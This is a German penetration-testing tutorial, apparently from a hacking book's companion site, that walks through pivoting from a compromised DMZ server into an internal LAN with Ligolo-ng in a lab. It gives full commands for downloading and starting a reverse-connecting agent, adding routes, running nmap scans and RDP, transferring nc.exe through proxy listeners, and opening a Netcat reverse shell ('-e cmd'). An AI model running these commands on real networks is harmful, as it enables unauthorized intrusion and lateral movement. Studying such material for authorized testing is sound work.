Ligolo-ng ist ein einfaches und leichtgewichtiges Werkzeug, das es Pentestern und Mitgliedern von Red Teams ermöglicht, Tunnel über eine reverse TCP/TLS-Verbindung mit Hilfe einer Tun-Schnittstelle aufzubauen. Dabei arbeitet es schnell und zuverlässig, ohne große Spuren zu hinterlassen.
Die dazu notwendigen Dateien für Windows, Linux und macOS können von der GitHub-Seite des Entwicklers heruntergeladen werden. Wer den Quellcode selbst kompilieren möchte, findet dort ebenfalls ein Anleitung. Wir haben Ligolo-ng in folgender virtuellen Umgebung getestet:
Besonderheiten des Versuchsaufbaus
Wie man sieht, haben wir einen einfachen Versuchsaufbau gewählt. Die eingezeichneten Firewalls haben praktisch keine Wirkung. Dies wäre für einen Test auch eher hinderlich, da es hier darum geht, die Funktionsweise der Software zu verstehen.
Ligolo-ng verwendet Let’s Encrypt Zertifikate, die automatisch erzeugt werden. Dazu muss natürlich eine Verbindung zum Internet vorhanden sein. Da dies in unserer Umgebung nicht der Fall ist, haben wir ein selbstsigniertes Zertifikat verwendet und für den Agenten die Option -ignore-cert gewählt. Weitere Erläuterungen dazu finden sich auch auf der GitHub-Seite.
In einem ersten Schritt haben sich die Pentester bzw. das Red Team bereits Zugang zur DMZ verschafft und durch Ausnutzung einer Schwachstelle den dort befindlichen Server unter ihre Kontrolle gebracht. Außerdem wurde festgestellt, dass der Server über eine weitere Netzwerkkarte (ens19) verfügt, über die möglicherweise auf das LAN zugegriffen werden kann.
Bestandteile
Ligolo-ng besteht aus einem Proxy und einem Agent. Die jeweilige Software muss für das verwendete Betriebssystem separat heruntergeladen und installiert werden. Für den Angreifer wird Kali Linux verwendet. Hier installieren wir auch die Proxy-Komponente. Für den Ligolo-Agenten in der DMZ wird ebenfalls Linux verwendet. Die notwendigen Dateien laden wir mittels wget herunter und verteilen sie auf die Geräte:
#Herunterladen
cd /opt
sudo mkdir ligolo
cd ligolo
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.1/ligolo-ng_agent_0.5.1_linux_amd64.tar.gz
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.1/ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz
#Entpacken
sudo tar xzf ligolo-ng_agent_0.5.1_linux_amd64.tar.gz
sudo tar xzf ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz
sudo chown root:root agent proxy
Proxy auf Kali Linux einrichten
Mit den folgenden Befehlen richten wir das Tunnel-Interface auf Kali Linux ein und starten den Proxy-Server auf Port 443. Jeder andere Port ist denkbar. Mit dem Befehl whoami stellen wir fest, mit welchem Benutzernamen, in unserem Fall “user”, wir arbeiten.
cd /opt/ligolo
whoami
sudo ip tuntap add user user mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:443
Software auf den Agenten kopieren und Starten
Da die Angreifer bereits Zugriff auf den Server in der DMZ haben, können Sie die Software für den Agenten auch dort installieren und starten. Hier wird die oben bereits beschriebene Option -ignore-cert gewählt. Auf dem Proxyserver wird eine erste Session dargestellt, die mit dem Befehl sessions aufgerufen werden kann.
curl http://192.168.171.203/agent -o agent
chmod +x agent
./agent -connect 192.168.171.203:443 -ignore-cert
Neue Route einrichten
Die Angreifer haben erkannt, dass neben der Netzwerkkarte (ens18) der Server in der DMZ über eine weitere Schnittstelle (ens19) mit der IP-Adresse 10.0.0.13/24 verfügt.
Dieses Netzwerk wird nun als zusätzliche Route auf dem System des Angreifers (Kali Linux) eingerichtet:
sudo ip route add 10.0.0.0/24 dev ligolo
Um den Tunnel tatsächlich zu starten, wird der Befehl start bzw. start_tunnel verwendet, der in die bestehende Sitzung eingegeben werden muss. Mit dem Kommando tunnel_list kann nochmals überprüft werden, ob ein Tunnel aufgebaut wurde. An dieser Stelle bietet sich die Möglichkeit, die Hilfe-Funktion zu nutzen, um weitere Befehle kennenzulernen.
Sie können nun auf das lokale Netzwerk (10.0.0.0/24) zugreifen. Denkbar wäre auch ein nmap-Scan, um weitere Geräte in diesem Netzwerksegment zu finden. Wenn Sie bereits über Benutzerdaten verfügen, wäre es auch einen Versuch wert, auf den Desktop des Gerätes mit der IP: 10.0.0.20 zuzugreifen:
#Nmap Portscan
nmap -sn 10.0.0.*
nmap -sT 10.0.0.20
#RDP Verbindung
xfreerdp /u:user /v:10.0.0.20
Zusätzliche Daten auf das Ziel hochladen
Angenommen, in diesem Szenario sollen weitere Dateien auf das Zielsystem mit der IP 10.0.0.20 geladen werden. Denkbar wäre z.B. ein Payload, der eine Rückverbindung (reverse connection) zum Angreifer initiiert und sicherstellt. Solche Payloads (manchmal auch Agenten genannt) haben wir in unserem Buch “Hacking mit Post Exploitation Frameworks” für verschiedene Umgebungen vorgestellt.
Für dieses Beispiel reicht es jedoch aus, das “Schweizer Taschenmesser” Netcat auf das Zielsystem zu übertragen, um mit dieser Software die Verbindung zum Angreifer sicherzustellen.
Wir gehen davon aus, dass Sie die Datei nc.exe heruntergeladen haben und sie sich auf dem PC des Angreifers im Download-Verzeichnis des angemeldeten Benutzers befindet. Hier bieten die Angreifer das gesamte Verzeichnis auf Port 80 zum Download an:
cd /home/user/Downloads
python3 -m http.server 80
Nun wird auf dem Proxy ein sogenannter Listener eingerichtet, der folgende Bedeutung hat:
Alle auf Port 30000 eingehenden Daten werden an die IP-Adresse 127.0.0.1 (also localhost) auf Port 80 weitergeleitet.
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:80
Nun kann auf dem Zielsystem mit der IP-Adresse 10.0.0.20 die Datei nc.exe heruntergeladen und als nc-win.exe gespeichert werden. Wichtig: Hier muss die IP-Adresse der Netzwerkkarte ens19 (siehe Bild oben) des Agenten in der DMZ angegeben werden.
curl http://10.0.0.13:30000/nc.exe -o nc-win.exe
Reverse-Verbindung einrichten
Nachdem sich die Datei nc-win.exe nun auf dem Zielsystem befindet, kann mit der Konfiguration der Reverse-Verbindung begonnen werden. Auch hier wird zunächst ein weiterer Listener auf dem Proxy eingerichtet. In diesem Fall mit folgender Bedeutung:
Alle auf Port 31000 eingehenden Daten werden an die IP-Adresse 127.0.0.1 (also localhost) auf Port 4444 weitergeleitet.
listener_add --addr 0.0.0.0:31000 --to 127.0.0.1:4444
Mit dem Befehl listener_list kann man sich die erstellten Listener anzeigen lassen:
Schließlich muss der Angreifer einen Netcat-Listener auf seinem Kali Linux starten, um die Daten des Zielsystems 10.0.0.20 zu empfangen. Auch hier ist darauf zu achten, dass die richtige IP-Adresse verwendet wird.
# Auf der Kali Maschine
nc -lvnp 4444
# Auf dem Target 10.0.0.20
nc-win 10.0.0.13 31000 -e cmd
Fazit:
In einem kleinen Szenario haben wir gezeigt, wie man im Rahmen eines Penetrationstests in benachbarte Netzwerksegmente eindringen kann. Dieser Vorgang kann beliebig wiederholt werden, wenn Sie feststellen, dass andere Rechner im Netzwerk mit anderen Subnetzen kommunizieren. Übertragen Sie in diesem Fall die Agenten-Datei auf den Rechner und stellen Sie eine Verbindung zur Ligolo-Schnittstelle her.
Ligolo-ng hat sich in unseren Tests als sehr effektives Werkzeug für Network Pivoting erwiesen, das effektiv und ohne große Performanceeinbußen im Netzwerk eingesetzt werden kann.
Fragen zum Buch nehmen wir gerne hier entgegen.